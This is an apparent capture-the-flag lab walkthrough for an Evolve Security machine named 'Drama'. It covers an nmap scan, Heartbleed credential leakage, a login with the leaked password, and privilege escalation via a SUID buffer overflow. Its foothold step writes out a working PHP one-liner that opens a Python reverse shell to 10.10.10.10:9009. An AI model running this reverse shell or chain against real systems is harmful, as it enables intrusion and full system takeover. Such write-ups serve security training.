Drama — Evolve Security (10.50.153.150)

Information Gathering

$nmap -sVC -p- -Pn drama -A
$22/tcp  open  ssh      OpenSSH 6.6.1p1 Ubuntu
$80/tcp  open  http     Apache 2.4.7 (Ubuntu)
$443/tcp open  ssl/http Apache 2.4.7 (cert 2018/2019 - old OpenSSL)

Heartbleed (443) -> creds

The old OpenSSL is vulnerable to Heartbleed; leaking memory reveals login creds:

$python2 heartbleed.py drama
$curl -X POST https://drama/login.php -d 'username=harriet&password=WhatsInTheBox844' --insecure

Foothold: PHP HTML parser RCE (admin.php)

The HTML parser on admin.php executes supplied PHP via shell_exec. A cron job kills active nc/bash/sh connections, so use a PHP shell saved to the uploads directory (or copy nc/bash into /tmp):

01<?php system("python2 -c "import os,pty,socket;s=socket.socket();s.connect(('10.10.10.10',9009));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn('/bin/bash')"") ?>

Privesc: SUID buffer overflow

A SUID binary with source is in the app folder. Exploit the stack buffer overflow (bof.py) — two active SSH sessions are required to win the race — to get a root shell and read proof.txt.